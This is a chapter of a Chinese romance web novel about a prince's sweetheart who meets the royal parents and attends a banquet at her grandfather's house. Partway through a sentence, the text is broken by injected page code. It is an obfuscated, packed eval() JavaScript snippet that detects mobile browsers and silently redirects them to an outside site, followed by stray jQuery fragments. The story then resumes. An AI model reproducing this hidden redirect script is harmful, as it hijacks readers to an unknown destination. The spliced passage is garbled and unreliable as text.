榻上逐欢渔亦鱼

71. 第 71 章

实在是自己儿子喜欢男人的流言深入人心,即便君上劝慰她多次,那都是假的,她也依旧保持怀疑态度。


这以前喜欢男人,现在喜欢女人的可能性也不是没有。


不过若真是这样,妄儿万一有什么折腾男人的癖好,用在人家姑娘身上,那可是要不得的。


今儿总算见着妄儿喜欢的姑娘,定得好好问问。


柳芳菲看她期待的目光灼灼,脸色羞红,可又不忍打破她的期待。


不对劲的癖好?


怎么说啊,一天到晚就想要把她缠在床上,算吗?


除此之外……她都很喜欢,那是不是她也有不对劲的癖好啊。


这些话她说不出口,半晌才摇摇头:“君后放心,阿妄一切正常。”


正常就好,正常就好。


凌画拍了拍胸脯,总算是放心下来,末了,又提醒一句:“欢欢,如若妄儿有什么委屈你的,来告诉本宫,我替你教训他。”


千万别告诉崔老啊。


柳芳菲点点头:“阿妄对我很好。”


真是个人美心善的老实姑娘,竟说妄儿很好,被骗得着实不轻。


凌画越看越中意,随即将手中玉镯摘下往她手腕套去:“欢欢,皇室比不得咱们坊间温暖有情,从上到下也未曾留过祖传之物给媳妇儿。”


说着,她执起柳芳菲手腕抚摸着玉镯,“不过,它是当初妄儿他父君赠予我的大婚之礼,多年来我也不曾摘下,现在我把它送给你,妄儿自小承受的责任太多太大,孤独惯了,第一次见他喜欢个姑娘,我希望你无论如何也要陪着他,好吗?”


玉镯满圈辣绿冰透,价值贵重难以言喻。


柳芳菲本是不打算接下的,可听得君后如此说,她又不得不承了这份恩典。


凌画说的那些她明白,君上深爱君后,许她一生一世一双人的诺言。


偌大的后宫仅她一人,又顾念她身子不好,生下阿妄后便不再有孕,皇嗣凋零。


司徒妄一人很早便担下重担,上阵杀敌,统管六部。从一个小小的皇子,成了人人敬畏的小皇爷。


懂事以后,他的确是孤独过来的。


“君后放心,欢欢日后会陪着阿妄的。”


她小声允诺。


凌画放心了,勾起得逞的笑容。


只是一侧的司徒玥心里泛起埋怨,送什么不好,偏生送那个镯子。当年为了得那个镯子,他跑了多少原石矿地,为了那小子,还真是舍得。


马车上几人心思各异,须臾,抵达崔府。


司徒妄骑马先行到达,看到金色马车出现,立即上前将自家姑娘抱下,连眼神不给身后的父君母上一个。


“你倒是有了媳妇忘了娘。”凌画笑骂。


“我要是抱您,父君会就地处决我。”


话落,抱着柳芳菲径直进了崔府。


此时离宴会不到一个时辰,司徒玥与凌画去了大堂等候,崔胤作为家主张罗府中下人们准备迎接贵客。


柳芳菲与榕榕被下人带着各自回了屋里梳洗打扮。


司徒妄则牵着小二趁着混乱摸到了清欢苑。


此时柳芳菲已经换好他准备的盛装,之前衣匣里都是阿公根据她喜欢准备的粉色襦裙,用在这场合的确是有些小家子气。


司徒妄这些场合见惯,自是知晓什么时候穿什么衣裳。


木门推开,男人迈着修长的步伐走进。


尽管心中知晓这套大袖横帔穿在自家姑娘身上,定然是美得让人挪不开眼。可真实看到,还是不可避免的,瞳孔一震。


他走上前打量着眼前的姑娘,现下的她与任何时候都不一样,头一次见她穿得如此大气、庄重。


宫中嬷嬷将衣裳交予他时,笑着说:咱们小皇妃定是个美人儿,小皇爷有福了。


当初只当这是恭维的话,竟没想到的确如她所说,他有福。


柳绿抹胸配着鹅黄素罗上襦,搭红罗褙子蔷薇提花罗大袖,上身是素纱黄裙不着多余装饰。


加之绛罗横帔,看似简单,又不失端庄典雅。


这便是他的欢欢,娇柔的、活泼的、艳丽的、大气的,每一次都能给他不一样的惊喜与震撼。


“小皇妃。”


他拿起妆奁盒里的鱼媚子贴于她额间,再次凑到她耳边喊,“小皇妃。”


一股热气入耳,柳芳菲打了个轻颤,推搡道:“你来作甚?”


“你是我引到蒲州的,自当由我带出去。”


宣告众人,你是我亲自挑选的小皇妃。


只有这样,日后欢欢在宫里宫外的日子才更顺畅些。


柳芳菲不知其中弯弯绕绕,约摸着吉时快到,就跟着他一路快走往大堂赶。


此时崔府已经来了不少贵客,围着张张圆桌正襟危坐。


毕竟没人想到,只是寻常宴会,君上与君后竟都来了,想来传闻崔府带回家的大小姐真的入了小皇爷的眼。


门口传来细小声响,众人闻声望去,只见往日不可一世、清冷孤傲、高高在上、目下无尘的小皇爷,竟牵着一个姑娘的手,眼神留丝,笑得温柔、讨好。


身后跟着一个丫鬟,还有……那头鼎鼎有名的司徒二!


不是说这头大白熊不喜生人么?怎么就连这个丫鬟都能牵得住?


不可置信。


众人不约而同地瞪大双眼,甚至已经有人端起茶杯喝茶压惊。


这一切太过玄乎,宾客们窃窃私语,总觉得春夜里吹的不是暖风,而是妖风。


“小皇爷。”


宾客起身行礼,司徒妄眼神都不给一个,带着柳芳菲穿过人群,径直走到君上君后跟前行礼。


“父君,母上。”


“君上,君后。”


柳芳菲声音细软,又不至于太过小声。


旁人一听,只觉心都化成了春水,可即便这样,也不能把喜欢男人的小皇爷勾得魂儿都没了呀。


“欢欢过来坐。”


凌画拍了拍身旁的位置,对她招手。


司徒妄则站在身后,全天下身份最尊贵的三人明着给她保驾护航抬身价,现下不用崔老介绍任何,大家也都明镜儿似的,这姑娘地位不俗,惹不得。


柳芳菲听话地坐下,面朝众人,大家才彻底看清了崔家姑娘的面相。


“太……太美了吧。”一道好听的女声在人群中响起,柳芳菲顺着声儿望去,微笑着对她点点头。


有人开头,剩下的


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979572|174021||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


人也跟着附和:“崔老爷有福了,外孙女真是绝无仅有的漂亮啊。”


柳芳菲听着众人的恭维,大家都笑意盈盈,却不知几分真假。


目光扫视整个大堂,终是找到一个与当下氛围格格不入的眼神。


她疑惑地与之对视,对方却依旧死死盯着她。


人虽不认识,可这眼神她却熟悉得很,柳鸢儿惯会用这样的眼神看她。


嫉妒。


“那人是谁?”


她抬手捂嘴,小声与司徒妄搭话。


不经意间,眼尖儿的人看到,手腕玉镯,不正是君后日常戴着的那支,竟这样赠给了她。


看来,这宫里很快便要添喜事了。


“跳梁小丑,若是惹到你,尽管收拾了便是。”


司徒妄凝眸往那头射去,对方慌张偏头,立刻收了毒蛇般的目光。


席间,司徒妄专心给自家姑娘夹菜,看得其他人又是一愣一愣的。倒是凌画笑嘻嘻地调侃:“我这儿子会疼人了,做母上的欣慰得很。”


“父君,母上的意思是,您不够疼她。”


司徒玥咬牙瞪他一眼,旋即一个劲儿地给凌画夹菜,惹得柳芳菲不禁失笑。


以往只是听说君上宠爱君后无度,前朝每每提起总是担忧红颜祸水,希望后宫再添佳人。如今真正见到此情此景,心中不免感叹。


夜宴尾声,崔晟康带领柳芳菲混了个眼熟,话里话外表示,柳芳菲虽不姓崔,但崔家所有以后皆是由崔晏榕与她平分,绝不怠慢。


众人不蠢,此女背靠崔家,一旦嫁入皇爷府,全天下的女人除却君后,地位最尊贵的就属她了。


这样想来,宾客们心思各异。


待柳芳菲重新坐回位置,凌画打开话匣,极力向崔老爷为自己儿子说好话,总归说着司徒妄待欢欢极好,二人极配之类的。


听言,崔晟康却丝毫不惯着,冷哼道:“的确待欢欢挺好,在黔州三天两头跑到柳府,打着看我的幌子,跑到人家姑娘苑里,一待就是一整日。男人脸皮厚些倒是没什么,可这也……”


忒不要脸了。


“……”


“这也就罢了,跑柳府骚扰人家小姑娘还不算,还学了那些登徒子把人家小姑娘拐骗出府藏起来,一藏就是一个白日,柳府上下寻遍了也寻不到人。”


“……”


“除夕那日整夜未归,第二日欢欢眼底都挂着青,也太不知道疼人了。”


“……”


“上元节那日,如若不是他色心大发把欢欢带出去撒野,欢欢又怎会遭了奸人的道,被掳去扬州,差点儿性命不保!”


“……”


“提到扬州,老夫心里就更气了,分明是去救人的,怎地大半月不归家,甚至还不许老夫去扬州寻人,简直放肆极了。”


“的确是放肆。”


听了那么多,司徒玥脑门儿作疼,跟着附和。


眼神却看向一侧抿唇的儿子,尽是警告:你不是说,没惹到崔老?


“我就这么个外孙女,小皇爷倒还好,没个三媒六聘八抬大轿就想着把人给我带到皇爷府去,成何体统,甚至在黔州和老夫吵得个面红耳赤的。君上,君后,您们说,老夫能不气吗?”